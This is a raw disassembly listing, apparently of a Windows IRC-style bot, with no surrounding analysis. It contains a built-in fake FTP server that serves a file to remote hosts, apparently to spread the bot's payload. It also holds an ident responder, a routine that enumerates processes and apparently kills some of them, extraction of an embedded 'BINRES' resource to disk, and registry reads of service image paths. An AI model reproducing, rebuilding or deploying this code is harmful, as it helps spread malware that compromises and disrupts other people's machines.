call near ptr 71AC1028h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_41F636
xor ecx, ecx
lea edx, [esp+4Ch+var_14]
mov [esp+4Ch+var_2C], ecx
lea eax, [esp+4Ch+var_2C]
mov [esp+4Ch+var_28], ecx
push edx
mov [esp+50h+var_24], ecx
push eax
push esi
mov [esp+58h+var_14], 10h
mov [esp+58h+var_20], ecx
call near ptr 71AC0B50h
nop
mov eax, [esp+58h+var_34]
test al, al
jz loc_41F641
mov cl, byte_447DF8
test cl, cl
jz short loc_41F0CF
mov edx, [esp+58h+var_34+3]
mov ecx, dword_44768F
and edx, 0FFh
push ecx
mov ecx, [esp+5Ch+var_34+2]
push edx
mov edx, [esp+60h+var_34+1]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d"
mov ecx, offset dword_447998
call sub_4014D3
push eax
push 0
push 0
push offset byte_4D60B5
call sub_401848
add esp, 28h
loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej
lea ecx, [esp+58h+arg_0]
call sub_401424
push 1000h
push 1000h
lea ecx, [esp+60h+arg_0]
mov [esp+60h+arg_1970], 0
call sub_401C5D
push eax
call sub_4015EB
add esp, 8
lea eax, [esp+58h+arg_0]
lea ecx, [esp+58h+arg_18]
push eax
call sub_4014C9
lea ecx, [esp+58h+arg_0]
mov byte ptr [esp+58h+arg_1970], 1
push ecx
lea ecx, [esp+5Ch+arg_18]
call sub_401FBE
mov edi, offset a220 ; "220 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a220 ; "220 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea edx, [esp+6Ch+arg_158]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a331 ; "331 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a331 ; "331 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea eax, [esp+7Ch+arg_148]
push 800h
push eax
push esi
call sub_401280
mov edi, offset a230 ; "230 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a230 ; "230 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea ecx, [esp+8Ch+arg_138]
push 800h
push ecx
push esi
call sub_401280
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
push 0
not ecx
dec ecx
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea edx, [esp+9Ch+arg_128]
push 800h
push edx
push esi
call sub_401280
add esp, 10h
lea eax, [esp+98h+arg_128]
lea ecx, [esp+98h+var_C]
push eax
call sub_401861
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
lea ecx, [esp+0A4h+var_C]
mov [esp+0A4h+arg_1930], 2
call sub_4016AE
push offset asc_4440A8 ; ","
lea edx, [esp+9Ch+arg_38]
push 0
push edx
lea ecx, [esp+0A4h+var_54]
mov [esp+0A4h+arg_1930], 3
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 4
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_38]
mov edi, eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_4440A8 ; ","
lea eax, [esp+9Ch+arg_80]
push 1
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 5
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_80]
mov [esp+98h+var_7C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_4440A8 ; ","
lea ecx, [esp+9Ch+arg_8]
push 2
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 6
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_8]
mov [esp+98h+var_5C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_4440A8 ; ","
lea edx, [esp+9Ch+arg_68]
push 3
push edx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 7
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_68]
mov [esp+98h+var_58], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_4440A8 ; ","
lea eax, [esp+9Ch+arg_20]
push 4
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 8
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_20]
mov [esp+98h+var_88], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_4440A8 ; ","
lea ecx, [esp+9Ch+arg_50]
push 5
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 9
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_50]
mov [esp+98h+var_80], eax
mov [esp+98h+arg_1930], 3
call sub_401226
mov dl, byte ptr [esp+98h+var_88]
mov al, byte ptr [esp+98h+var_80]
mov ecx, [esp+98h+var_58]
mov byte ptr [esp+98h+var_68+1], dl
mov edx, [esp+98h+var_5C]
mov byte ptr [esp+98h+var_68], al
mov eax, [esp+98h+var_68]
push ecx
and eax, 0FFFFh
push edx
mov [esp+0A0h+var_88], eax
mov eax, [esp+0A0h+var_7C]
push eax
push edi
lea ecx, [esp+0A8h+arg_A8]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ecx
nop
call sub_5EDAB2
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 18h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea edx, [esp+0ACh+arg_118]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a150 ; "150 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a150 ; "150 \r\n"
push esi
call ebp ; dword_50FC8C
mov eax, [esp+0B8h+var_A8]
lea ecx, [esp+0B8h+arg_88]
push eax
push ecx
call sub_401A8C
add esp, 8
lea ecx, [esp+0B8h+var_44]
mov [esp+0B8h+var_A8], eax
push offset aRb ; "rb"
call sub_4017E4
push eax
nop
call near ptr 77C3F010h
mov edi, eax
add esp, 8
test edi, edi
mov [esp+0B8h+var_A0], edi
jz loc_41F595
cmp [esp+0B8h+var_A8], 0FFFFFFFFh
jz loc_41F595
push 2
push 0
push edi
nop
call near ptr 77C4139Ch
push edi
call near ptr 77C41574h
nop
push 0
push 0
push edi
mov [esp+0D4h+var_9C], eax
nop
call near ptr 77C4139Ch
add esp, 1Ch
loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j
mov edx, [esp+0B8h+var_A0]
mov ecx, 400h
xor eax, eax
lea edi, [esp+0B8h+arg_908]
rep stosd
push edx
push 1000h
lea eax, [esp+0C0h+arg_908]
push 1
push eax
nop
call near ptr 77C411FBh
mov ecx, [esp+0C8h+var_A0]
mov edi, eax
add esp, 10h
test byte ptr [ecx+0Ch], 20h
jnz short loc_41F513
mov eax, [esp+0B8h+var_A8]
push 0
lea edx, [esp+0BCh+arg_908]
push edi
push edx
push eax
call ebp ; dword_50FC8C
cmp edi, 1000h
jz short loc_41F4C0
loc_41F513: ; CODE XREF: sub_41EF30+5C7j
mov eax, [esp+0C8h+var_B4]
mov edx, [eax+11h]
inc edx
mov [eax+11h], edx
mov cl, byte_447DF8
test cl, cl
mov eax, edx
jz short loc_41F57C
mov edx, [esp+0C8h+var_A4+3]
mov ecx, [esp+0C8h+var_AC]
push eax
mov eax, [esp+0CCh+var_A4+2]
and edx, 0FFh
push ecx
mov ecx, [esp+0D0h+var_A4+1]
push edx
mov edx, [esp+0D4h+var_A4]
and eax, 0FFh
and ecx, 0FFh
push eax
and edx, 0FFh
push ecx
push edx
push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"...
mov ecx, offset dword_447998
call sub_4014D3
push eax
push 0
push 0
push offset byte_4D60B5
call sub_401848
add esp, 2Ch
loc_41F57C: ; CODE XREF: sub_41EF30+5F8j
mov eax, [esp+0C8h+var_B0]
push eax
nop
call near ptr 77C40AB1h
mov ecx, [esp+0CCh+var_B8]
add esp, 4
push ecx
nop
call near ptr 71AB9639h
loc_41F595: ; CODE XREF: sub_41EF30+55Bj
; sub_41EF30+566j
mov edi, offset a226 ; "226 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a226 ; "226 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea edx, [esp+0E0h+arg_E4]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a221 ; "221 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a221 ; "221 \r\n"
push esi
call ebp ; dword_50FC8C
push esi
nop
call near ptr 71AB9639h
lea ecx, [esp+0F0h+var_AC]
mov byte ptr [esp+0F0h+arg_18D8], 2
call sub_401226
lea ecx, [esp+0F0h+var_64]
mov byte ptr [esp+0F0h+arg_18D8], 1
call sub_401226
lea ecx, [esp+0F0h+var_7C]
mov byte ptr [esp+0F0h+arg_18D8], 0
call sub_401226
lea ecx, [esp+0F0h+var_94]
mov [esp+0F0h+arg_18D8], 0FFFFFFFFh
call sub_401226
mov edi, [esp+0F0h+var_DC]
loc_41F636: ; CODE XREF: sub_41EF30+109j
push 9C4h
loc_41F63B: ; CODE XREF: sub_41EF30+E8j
nop
call near ptr 2840000h
loc_41F641: ; CODE XREF: sub_41EF30+140j
mov al, byte_4E6E84
test al, al
jnz loc_41F002
pop ebp
pop ebx
loc_41F650: ; CODE XREF: sub_41EF30+BEj
mov eax, [edi+15h]
push eax
call near ptr 71AB9639h
nop
loc_41F65A: ; CODE XREF: sub_41EF30+82j
; sub_41EF30+B2j
mov ecx, [esp+0F0h+arg_18C8]
pop edi
xor eax, eax
pop esi
mov large fs:0, ecx
add esp, 19C0h
retn
sub_41EF30 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F860 proc near ; CODE XREF: sub_401230j
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_7C = byte ptr -7Ch
var_78 = byte ptr -78h
var_60 = byte ptr -60h
var_48 = byte ptr -48h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41F860
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 84h
push ebx
push ebp
push esi
push 71h
call sub_40197E
add esp, 4
cmp eax, 0FFFFFFFFh
mov [esp+9Ch+var_90], eax
jnz short loc_41F89D
mov byte_4E6ED9, 0
jmp loc_41FA01
; ---------------------------------------------------------------------------
loc_41F89D: ; CODE XREF: sub_41F860+2Fj
mov cl, byte_4472BB
xor ebx, ebx
cmp cl, bl
mov byte_4E6ED9, 1
jnz loc_41F9F4
lea ecx, [esp+9Ch+var_8C]
push ecx
push eax
call sub_401FEB
mov ebp, eax
add esp, 8
cmp ebp, 0FFFFFFFFh
jz loc_41F9E7
push edi
lea ecx, [esp+0A0h+var_7C]
call sub_401424
mov [esp+0A0h+var_4], ebx
call sub_401EEC
mov esi, dword_50FABC
call esi ; dword_50FABC
cdq
mov ecx, 3
push offset byte_446F70
idiv ecx
lea ecx, [esp+0A0h+var_78]
mov edi, edx
add edi, 0Ah
call sub_4015D7
cmp edi, ebx
jle short loc_41F966
loc_41F90A: ; CODE XREF: sub_41F860+104j
lea ecx, [esp+9Ch+var_60]
call sub_401424
lea edx, [esp+9Ch+var_78]
lea ecx, [esp+9Ch+var_60]
push edx
mov byte ptr [esp+0A0h], 1
call sub_401FBE
call esi ; dword_50FABC
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+9Ch+var_60]
add edx, 61h
push edx
call sub_4017E4
push eax
lea edx, [esp+0A4h+var_78]
push offset dword_443E84
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+9Ch+var_60]
mov [esp+9Ch], bl
call sub_401226
dec edi
jnz short loc_41F90A
loc_41F966: ; CODE XREF: sub_41F860+A8j
push 0Ah
lea ecx, [esp+0A0h+var_78]
call sub_40146F
mov [eax], bl
mov ecx, 10h
xor eax, eax
lea edi, [esp+9Ch+var_48]
rep stosd
lea ecx, [esp+9Ch+var_78]
call sub_4017E4
push eax
push 71h
call esi ; dword_50FABC
cdq
mov ecx, 1770h
idiv ecx
inc edx
push edx
lea edx, [esp+0A8h+var_48]
push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n"
push edx
call sub_5EDAB2
nop
add esp, 14h
lea eax, [esp+9Ch+var_48]
push ebx
push 40h
push eax
push ebp
nop
call near ptr 71AB428Ah
mov esi, dword_50FC88
push ebp
call esi ; dword_50FC88
lea ecx, [esp+0A0h+var_7C]
mov [esp+0A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0A0h+var_90]
push ecx
call esi ; dword_50FC88
mov byte_4E6ED9, bl
pop edi
jmp short loc_41F9FE
; ---------------------------------------------------------------------------
loc_41F9E7: ; CODE XREF: sub_41F860+67j
push 7D0h
call near ptr 2840000h
nop
jmp short loc_41FA01
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F860+4Ej
mov ebp, [esp+9Ch+var_90]
mov esi, dword_50FC88
loc_41F9FE: ; CODE XREF: sub_41F860+185j
push ebp
call esi ; dword_50FC88
loc_41FA01: ; CODE XREF: sub_41F860+38j
; sub_41F860+192j
mov ecx, [esp+9Ch+var_C]
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 90h
retn
sub_41F860 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FA90 proc near ; CODE XREF: sub_401ABEj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
jz short loc_41FACB
dec eax
jz short loc_41FAB4
dec eax
jnz short loc_41FAF1
mov ecx, dword_50BB68
mov dword_50BB4C, 4
call sub_401DCA
jmp short loc_41FAF1
; ---------------------------------------------------------------------------
loc_41FAB4: ; CODE XREF: sub_41FA90+8j
mov ecx, dword_50BB68
mov dword_50BB4C, 7
call sub_401028
jmp short loc_41FAF1
; ---------------------------------------------------------------------------
loc_41FACB: ; CODE XREF: sub_41FA90+5j
mov ecx, dword_50BB68
xor eax, eax
mov dword_50BB54, eax
mov dword_50BB4C, 1
mov dword_50BB5C, eax
mov dword_50BB60, eax
call sub_401744
loc_41FAF1: ; CODE XREF: sub_41FA90+Bj
; sub_41FA90+22j ...
mov eax, dword_50BB6C
push offset dword_50BB48
push eax
mov dword_50BB4C, 4
nop
call near ptr 28F0888h
retn 4
sub_41FA90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FB30: ; CODE XREF: ___:loc_401956j
push esi
xor esi, esi
push offset sub_401ABE
mov ecx, offset byte_44794F
mov dword_50BB48, 20h
mov dword_50BB4C, 2
mov dword_50BB50, 3
mov dword_50BB54, esi
mov dword_50BB58, esi
mov dword_50BB5C, esi
mov dword_50BB60, esi
call sub_4017E4
push eax
nop
call near ptr 28F0461h
cmp eax, esi
mov dword_50BB6C, eax
jz short loc_41FBAA
push offset dword_50BB48
push eax
mov dword_50BB4C, 4
mov dword_50BB5C, esi
mov dword_50BB60, esi
nop
call near ptr 28F0888h
loc_41FBAA: ; CODE XREF: ___:0041FB86j
pop esi
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FBD0 proc near ; CODE XREF: sub_401069j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E068
mov eax, esi
pop esi
retn
sub_41FBD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FC00 proc near ; CODE XREF: sub_401CDFj
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
sub esp, 110h
mov dword_50BB68, ecx
push 100h
mov ecx, offset byte_44794F
call sub_4017E4
push eax
lea eax, [esp+118h+var_100]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
lea edx, [esp+110h+var_110]
lea ecx, [esp+110h+var_100]
xor eax, eax
push edx
mov [esp+114h+var_110], ecx
mov [esp+114h+var_10C], offset loc_401956
mov [esp+114h+var_108], eax
mov [esp+114h+var_104], eax
nop
call near ptr 28F0000h
xor eax, eax
add esp, 110h
retn
sub_41FC00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FC80: ; CODE XREF: ___:00401C30j
mov eax, [esp+4]
push ebx
push esi
push edi
push offset aWb ; "wb"
push eax
call near ptr 77C3F010h
nop
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41FCA2
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCA2: ; CODE XREF: ___:0041FC9Aj
mov ecx, [esp+18h]
push ecx
nop
call near ptr 2881E50h
mov esi, eax
test esi, esi
jnz short loc_41FCB9
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCB9: ; CODE XREF: ___:0041FCB1j
mov edx, [esp+14h]
push offset aBinres ; "BINRES"
and edx, 0FFFFh
push edx
push esi
nop
call near ptr 2790626h
mov edi, eax
test edi, edi
jnz short loc_41FCDC
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCDC: ; CODE XREF: ___:0041FCD4j
push ebp
push edi
push esi
nop
call near ptr 2790BECh
push edi
push esi
mov ebp, eax
nop
call near ptr 27A0000h
push ebp
mov esi, eax
nop
call near ptr 27A0325h
push ebx
push esi
push 1
push eax
nop
call near ptr 77C4173Bh
push ebx
call near ptr 77C40AB1h
nop
add esp, 14h
mov al, 1
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD50 proc near ; CODE XREF: sub_40187Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call near ptr 71AB2BF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FD78
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_41FD71
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FD71: ; CODE XREF: sub_41FD50+1Aj
mov eax, [eax+0Ch]
mov ecx, [eax]
mov eax, [ecx]
loc_41FD78: ; CODE XREF: sub_41FD50+Fj
pop esi
retn
sub_41FD50 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD90 proc near ; CODE XREF: sub_401A8Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FDAE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FDAE: ; CODE XREF: sub_41FD90+15j
mov ecx, [esp+14h+arg_4]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
mov edx, [esp+14h+arg_0]
mov word ptr [esp+14h+var_10+2], ax
push edx
call sub_40187F
add esp, 4
mov [esp+14h+var_C], eax
lea eax, [esp+14h+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_41FE0A
push esi
call near ptr 71AB9639h
nop
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FE0A: ; CODE XREF: sub_41FD90+69j
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FD90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE50 proc near ; CODE XREF: sub_40197Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FE6E
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FE6E: ; CODE XREF: sub_41FE50+15j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+14h+var_10]
push 10h
push edx
push esi
mov word ptr [esp+20h+var_10+2], ax
mov [esp+20h+var_C], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41FEC0
push esi
call near ptr 71AB9639h
nop
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FE50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FEF0 proc near ; CODE XREF: sub_4012DFj
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, [esp+14h+arg_0]
push 0Ah
push esi
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jz short loc_41FF24
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_10]
push eax
push ecx
push esi
mov [esp+20h+arg_0], 10h
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
jnz short loc_41FF27
loc_41FF24: ; CODE XREF: sub_41FEF0+14j
or eax, 0FFFFFFFFh
loc_41FF27: ; CODE XREF: sub_41FEF0+32j
pop esi
add esp, 10h
retn
sub_41FEF0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FF40 proc near ; CODE XREF: sub_401FEBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_41FF76
mov esi, [esp+8+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_41FF76
lea eax, [esp+8+arg_4]
mov [esp+8+arg_4], 10h
push eax
push edi
push esi
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FF79
loc_41FF76: ; CODE XREF: sub_41FF40+8j
; sub_41FF40+1Aj
or eax, 0FFFFFFFFh
loc_41FF79: ; CODE XREF: sub_41FF40+34j
pop edi
pop esi
retn
sub_41FF40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41FF90 proc near ; CODE XREF: sub_4015FAj
var_1120 = dword ptr -1120h
var_1112 = byte ptr -1112h
var_110E = byte ptr -110Eh
var_110C = byte ptr -110Ch
var_1108 = byte ptr -1108h
var_1104 = dword ptr -1104h
var_1100 = byte ptr -1100h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
arg_104 = byte ptr 108h
arg_110 = byte ptr 114h
mov eax, 1114h
call sub_436840
lea eax, [esp+arg_4]
lea ecx, [esp+arg_110]
push eax
push 1000h
push ecx
mov byte ptr [esp+0Fh], 0
call sub_436FC0
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41FFC3
xor al, al
add esp, 1114h
retn
; ---------------------------------------------------------------------------
loc_41FFC3: ; CODE XREF: sub_41FF90+28j
mov eax, [esp+0Ch+var_4]
shr eax, 2
jz loc_42008D
push ebx
mov ebx, dword_50F874
push ebp
push esi
push edi
lea ebp, [esp+1Ch+arg_104]
mov [esp+1Ch+var_8], eax
loc_41FFE5: ; CODE XREF: sub_41FF90+F3j
mov edi, offset aUnknown ; "unknown"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+20h]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+0]
push ecx
push 0
push 411h
call ebx ; dword_50F874
mov esi, eax
test esi, esi
jz short loc_420077
lea edx, [esp+18h]
lea eax, [esp+1Ch]
push edx
push 4
push eax
push esi
call sub_436FBA
test eax, eax
jz short loc_420070
mov edx, [esp+1Ch]
lea ecx, [esp+20h]
push 104h
push ecx
push edx
push esi
call sub_436FB4
mov eax, [esp+1130h+var_8]
lea ecx, [esp+20h]
push eax
push ecx
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jnz short loc_420070
push eax
push esi
nop
call near ptr 2710000h
mov byte ptr [esp+1130h+var_1120+3], 1
loc_420070: ; CODE XREF: sub_41FF90+A2j
; sub_41FF90+D1j
push esi
call near ptr 28409D0h
nop
loc_420077: ; CODE XREF: sub_41FF90+8Cj
mov eax, [esp+1134h+var_1120]
add ebp, 4
dec eax
mov [esp+1134h+var_1120], eax
jnz loc_41FFE5
pop edi
pop esi
pop ebp
pop ebx
loc_42008D: ; CODE XREF: sub_41FF90+3Aj
mov al, [esp+3]
add esp, 1114h
retn
sub_41FF90 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4200F0 proc near ; CODE XREF: sub_4019FBj
var_490 = byte ptr -490h
var_488 = byte ptr -488h
var_482 = byte ptr -482h
var_480 = byte ptr -480h
var_478 = byte ptr -478h
var_468 = dword ptr -468h
var_464 = byte ptr -464h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_43C = byte ptr -43Ch
var_438 = byte ptr -438h
var_424 = byte ptr -424h
var_420 = byte ptr -420h
var_38 = byte ptr -38h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4200F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 44Ch
push ebx
push esi
mov esi, [esp+460h+arg_0]
lea ecx, [esp+460h+var_424]
push esi
call sub_401861
push eax
mov [esp+464h+var_4], 0
call sub_401E8D
add esp, 4
lea ecx, [esp+460h+var_424]
mov bl, al
mov [esp+460h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_42026A
lea ecx, [esp+460h+var_43C]
call sub_401424
push esi
lea eax, [esp+464h+var_43C]
mov ebx, 1
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
mov [esp+46Ch+var_4], ebx
mov [esp+46Ch+var_454], 0
mov [esp+46Ch+var_450], 80h
call sub_40102D
add esp, 0Ch
lea ecx, [esp+460h+var_454]
push ecx
push 20019h
push 0
lea ecx, [esp+46Ch+var_43C]
call sub_401681
push eax
push 80000002h
call near ptr 2930000h
nop
mov ecx, [esp+474h+var_468]
lea edx, [esp+474h+var_464]
lea eax, [esp+474h+var_420]
push edx
push eax
push 0
push 0
push offset aImagepath ; "ImagePath"
push ecx
call near ptr 28E0000h
nop
lea edx, [esp+0Bh]
lea eax, [esp+48Ch+var_438]
push edx
push eax
lea ecx, [esp+494h+var_478]
nop
call near ptr 76081F67h
mov ecx, dword_50F9AC
mov [esp+494h+var_38], 2
mov edx, [ecx]
lea ecx, [esp+494h+var_480]
push edx
push offset asc_443B04 ; "\\"
call near ptr 76085AE4h
nop
inc eax
lea ecx, [esp+49Ch+var_488]
push eax
push 0
call near ptr 760976AFh
nop
lea ecx, [esp+4A4h+var_490]
nop
call near ptr 7608B84Ch
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 24244C8Dh, 0FE145CE8h, 3E850FFh, 90023D07h, 14244C8Dh
dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h, 2484C724h
dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
dd 44Ch, 0D8964h, 81000000h, 458C4h
db 0, 0C3h
; ---------------------------------------------------------------------------
loc_42026A: ; CODE XREF: sub_4200F0+5Aj
mov ecx, [esp+460h+var_C]
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 458h
retn
sub_4200F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 70h dup(0CCh)
